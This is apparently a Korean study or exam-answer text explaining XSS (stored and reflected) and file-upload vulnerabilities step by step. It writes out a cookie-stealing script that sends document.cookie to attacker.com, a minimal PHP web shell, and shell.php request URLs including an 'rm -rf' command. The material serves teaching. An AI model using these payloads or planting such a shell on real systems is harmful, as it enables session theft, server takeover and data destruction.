1. XSS와 파일업로드취약점의 차이점(10)

- 크로스 사이트 스크립팅(XSS)과 파일 업로드 취약점은 웹 애플리케이션의 보안 취약점으로, 각각 다른 방식으로 공격자가 악용할 수 있다. 두 가지의 주요 차이점은 다음과 같다.

- 공격 방식의 차이:
  ① XSS: XSS는 **공격자가 악성 스크립트를 웹 페이지에 삽입**하여 **사용자의 브라우저에서 실행되도록 하는 공격이다**. 이를 통해 사용자의 세션 쿠키, 인증 정보 등을 탈취하거나, 사용자의 행동을 조작할 수 있다. XSS는 주로 클라이언트 측에서 발생한다.
  ② 파일 업로드 취약점: 파일 업로드 취약점은 공격자가 악성 파일(예: 웹 쉘)을 서버에 업로드하여 서버를 제어하거나, 다른 사용자의 공격에 사용하는 취약점이다. 이 경우, 공격자는 서버 측에서 실행되는 코드를 통해 시스템에 접근할 수 있다.

- 위험 요소:
  ① XSS: XSS 공격은 주로 사용자 데이터의 유출이나 세션 하이재킹과 같은 **클라이언트 측의 위험을 초래**한다. 사용자가 악성 스크립트가 포함된 페이지를 방문할 경우, 피해를 입게 된다.
  ② 파일 업로드 취약점: 파일 업로드 취약점은 **서버의 보안에 직접적인 위협**을 가한다. 공격자가 서버에 악성 파일을 업로드하면, 해당 파일을 통해 서버를 제어하거나 다른 공격을 수행할 수 있다.

2. XSS의 작동 과정(10)

① 취약점 발견: 공격자는 웹 애플리케이션에서 입력값을 적절히 검증하지 않거나 필터링하지 않는 취약점을 찾는다. 예를 들어, 댓글 기능이나 사용자 프로필에 입력된 데이터가 **HTML로 출력되는 경우**가 이에 해당한다. 이 댓글이 HTML로 출력될 경우, 웹 페이지에서 이 스크립트가 실행되어 사용자의 브라우저에 경고창이 나타날 수 있다. 이는 사용자가 의도하지 않은 행동을 하게 만들거나, 개인 정보를 탈취하는 등의 공격으로 이어질 수 있다.

```
<script>alert('XSS 공격!');</script>
```

② 악성 스크립트 작성: 공격자는 악성 JavaScript 코드를 작성한다. 예를 들어, 사용자의 쿠키를 탈취하는 스크립트는 다음과 같을 수 있다.

```
<script>
    var img = new Image();
    img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
```

- URL 구조: **http://attacker.com/steal**는 공격자가 소유한 서버의 특정 경로를 나타낸다. 이 경로는 공격자가 데이터를 수집하기 위해 설정한 엔드포인트이다.
- 쿼리 파라미터: **?cookie=**는 URL의 쿼리 문자열 부분으로, cookie라는 이름의 파라미터를 정의한다. 이 파라미터는 클라이언트의 쿠키 값을 전달하는 데 사용된다.
- document.cookie: **document.cookie**는 **현재 웹 페이지의 쿠키 값을 JavaScript를 통해 가져오는 방법이다.** 이 값은 사용자의 세션 정보나 인증 정보 등을 포함할 수 있다.
- 결합: 이 URL은 사용자가 웹 페이지에서 악의적인 스크립트가 실행될 때, 사용자의 쿠키 정보를 공격자의 서버로 전송하는 역할을 한다. **예를 들어, 사용자가 악성 스크립트가 포함된 댓글을 클릭하거나, 특정 링크를 방문할 때 이 스크립트가 실행되어 사용자의 쿠키가 attacker.com으로 전송될 수 있다.**

③ 악성 스크립트 삽입: 공격자는 위의 악성 스크립트를 웹 애플리케이션의 입력 필드에 삽입한다. 예를 들어, 댓글란에 이 스크립트를 입력하여 제출한다.

④ 서버에 저장 또는 반영: **저장형 XSS (Stored XSS)**는 악성 스크립트가 서버에 저장되어 다른 사용자가 해당 페이지를 방문할 때 실행된다. 예를 들어, 댓글이 저장된 후 다른 사용자가 해당 댓글을 볼 때 스크립트가 실행된다. **반사형 XSS (Reflected XSS)**는 악성 스크립트가 URL의 쿼리 매개변수로 포함되어 서버가 이를 반영하여 응답할 때 실행된다. 예를 들어, 공격자가 특정 URL을 생성하여 사용자가 클릭하면 스크립트가 실행된다.

⑤ 사용자 브라우저에서 실행: 사용자가 악성 스크립트가 포함된 페이지를 방문하면, 브라우저는 해당 스크립트를 실행한다. 이로 인해 공격자는 사용자의 세션 쿠키, 로그인 정보, 개인 데이터 등을 탈취할 수 있다.

⑥ 공격자의 서버로 데이터 전송: 악성 스크립트는 사용자의 정보를 공격자의 서버로 전송한다. 예를 들어, 쿠키 정보가 공격자의 서버로 전송되어 사용자의 세션을 탈취할 수 있다.

3. 저장형 XSS (Stored XSS)와 반사형 XSS (Reflected XSS)

(1) 저장형 XSS :

① 사용자 입력: **공격자가 웹사이트의 댓글 기능이나 게시판에 악성 스크립트를 포함한 댓글을 작성**한다. 예를 들어, 공격자는 다음과 같은 댓글을 남길 수 있다:

```
<script>alert('XSS');</script>
```

② 서버에 저장: 이 댓글은 서버의 데이터베이스에 저장된다. 이 과정에서 서버는 입력된 데이터를 적절히 필터링하거나 이스케이프하지 않기 때문에, 악성 스크립트가 그대로 저장된다.

③ 다른 사용자 접근: 이후 다른 사용자가 해당 댓글이 포함된 페이지를 방문하게 된다. 예를 들어, 사용자가 댓글이 있는 게시판을 열면, 서버는 데이터베이스에서 댓글을 불러와 페이지에 렌더링한다.

④ 악성 스크립트 실행: 페이지가 로드되면서 저장된 악성 스크립트가 실행된다. 이 경우, 사용자의 브라우저에서 <script>alert('XSS');</script>가 실행되어 경고창이 나타난다.

* 렌더링(rendering)은 웹 페이지의 HTML, CSS, JavaScript 등의 코드를 해석하고, 이를 사용자에게 시각적으로 표시하는 과정이다. 웹 브라우저는 서버로부터 받은 HTML 문서를 기반으로 페이지를 구성하고, 이를 화면에 출력한다.

(2) 반사형 XSS

- 반사형 XSS(Reflected XSS)는 **공격자가 악성 스크립트를 포함한 URL을 생성**하고, 사용자가 해당 URL을 클릭함으로써 스크립트가 실행되는 공격 방식이다.

① 악성 URL 생성: 공격자는 다음과 같은 URL을 생성한다.

```
http://example.com/search?q=<script>alert('XSS 공격!');</script>
```

② 사용자 클릭: 사용자가 위의 URL을 클릭하면, 웹 애플리케이션은 q 파라미터의 값을 받아서 검색 결과를 보여주기 위해 이를 처리한다.

③ 서버 응답: 웹 애플리케이션이 사용자 입력을 적절히 필터링하지 않는 경우, 다음과 같은 HTML을 반환할 수 있다.

```
<html>
<body>
    <h1>검색 결과</h1>
    <p>검색어: <script>alert('XSS 공격!');</script></p>
</body>
</html>
```

④ 스크립트 실행: 사용자의 브라우저는 위의 HTML을 렌더링하면서 <script> 태그를 실행하게 된다. 이 경우, alert('XSS 공격!');가 실행되어 경고창이 나타난다.

- 이러한 반사형 XSS 공격을 방지하기 위해서는 사용자 입력을 적절히 이스케이프하거나 필터링하여 HTML 문서에 삽입될 때 스크립트가 실행되지 않도록 해야한다.

4. 파일 업로드 취약점의 작동 과정(10)

- 파일 업로드 취약점의 작동 과정은 다음과 같은 단계로 이루어진다:

① 취약한 파일 업로드 기능: 공격자가 악용할 수 있는 취약한 파일 업로드 기능이 있는 웹 애플리케이션이 존재한다. 이 기능은 사용자가 파일을 서버에 업로드할 수 있도록 허용한다.

② 파일 형식 검증 부족: 웹 애플리케이션이 업로드된 파일의 형식을 제대로 검증하지 않을 경우에, 악성 파일(예: **PHP 웹 쉘**)을 업로드할 수 있는 경우가 많다.

③ 악성 파일 업로드: 공격자는 악성 코드를 포함한 파일을 생성하고, 이를 웹 애플리케이션의 파일 업로드 기능을 통해 서버에 업로드한다. 이 파일은 일반적으로 서버에서 실행이 가능한 형식(예: .php, .asp 등)으로 만들어진다.

④ 파일 실행: 업로드된 악성 파일이 서버에 저장된 후, 공격자는 해당 파일에 접근하여 실행할 수 있다. 예를 들어, 공격자는 웹 브라우저를 통해 악성 PHP 파일에 접근하여 서버에서 코드를 실행할 수 있다.

⑤ 서버 제어 및 추가 공격: 악성 파일이 실행되면, 공격자는 서버를 제어하거나, 데이터베이스에 접근하거나, 다른 사용자에게 악성 코드를 전파하는 등의 추가 공격을 수행할 수 있다. 이를 통해 서버의 정보 유출, 데이터 손상, 서비스 중단 등의 피해를 초래할 수 있다.

- **웹 쉘(Web Shell)**은 공격자가 웹 서버에 업로드하여 원격으로 서버를 제어할 수 있는 스크립트이다. 일반적으로 PHP, ASP, JSP 등 다양한 웹 프로그래밍 언어로 작성될 수 있다.
- 웹 쉘은 불법적인 용도로 사용될 수 있으며, 웹 애플리케이션의 보안 취약점을 이용하여 업로드되거나 실행될 수 있다. 따라서 웹 애플리케이션 개발 시에는 사용자 입력을 철저히 검증하고, 파일 업로드 기능에 대한 보안 조치를 강화해야 한다.

5. 파일업로드취약점에서 4번의 "파일 실행“의 예(10)

① 악성 파일 생성: 공격자는 PHP 웹 쉘을 포함한 악성 파일을 생성한다. 예를 들어, **shell.php**라는 파일을 만들고, 다음과 같은 코드를 포함시킬 수 있다. 이 코드는 사용자가 cmd라는 요청 매개변수를 통해 전달한 명령어를 서버에서 실행할 수 있게 한다.

```
<?php
if(isset($_REQUEST['cmd'])) {
      system($_REQUEST['cmd']);
}
?>
```

② 파일 업로드: 공격자는 위의 shell.php 파일을 웹 애플리케이션의 파일 업로드 기능을 통해 서버에 업로드한다. 만약 웹 애플리케이션이 파일 형식 검증을 제대로 하지 않거나, PHP 파일을 허용하는 경우, 이 파일이 서버에 저장된다.

③ 파일 접근: 파일이 성공적으로 업로드된 후, 공격자는 웹 브라우저를 통해 해당 파일에 접근한다. 예를 들어, 웹 애플리케이션의 도메인이 example.com이라면, 공격자는 다음과 같은 URL로 접근할 수 있다.

```
http://example.com/uploads/shell.php
```

④ 명령어 실행: 공격자는 URL에 cmd 매개변수를 추가하여 서버에서 명령어를 실행할 수 있다. 예를 들어, 다음과 같은 URL로 접근할 수 있다. 이 요청은 서버에서 ls 명령어를 실행하게 하며, 서버의 파일 목록을 반환한다.

```
http://example.com/uploads/shell.php?cmd=ls
```

⑤ 서버 제어: 공격자는 이 방법을 통해 다양한 명령어를 실행할 수 있으며, 이를 통해 서버의 파일을 삭제하거나, 다른 악성 코드를 다운로드하고 실행하는 등의 추가 공격을 수행할 수 있다. 예를 들어, 다음과 같은 명령어를 실행하여 서버의 중요한 파일을 삭제할 수 있다.

```
http://example.com/uploads/shell.php?cmd=rm -rf /path/to/important_directory
```